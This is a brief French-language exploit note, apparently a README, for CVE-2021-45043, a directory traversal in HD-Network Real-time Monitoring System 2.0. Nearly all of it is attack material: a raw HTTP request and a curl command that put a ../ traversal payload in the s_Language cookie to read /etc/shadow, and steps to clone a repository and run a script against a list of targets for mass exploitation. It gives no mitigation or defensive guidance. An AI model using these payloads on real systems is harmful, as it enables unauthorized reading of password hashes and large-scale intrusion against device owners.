cve-2021-45043

HD-Network Real-time Monitoring System 2.0 permet une traversée de répertoire ../ pour lire /etc/shadow via le paramètre /language/lang s_Language.

publication initiale

https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f

exploitation via burp

GET /language/lang HTTP/1.1 Host: IP.target Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow

exploitation via une ligne de commande

curl -k -s -H "Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow" -X GET http://IP.target/language/lang

exploitation de cibles en masse

git clone https://github.com/g30rgyth3d4rk/cve-2021-45043.git

cd cve-2021-45043/

chmod +x script.sh

./script.sh targets.txt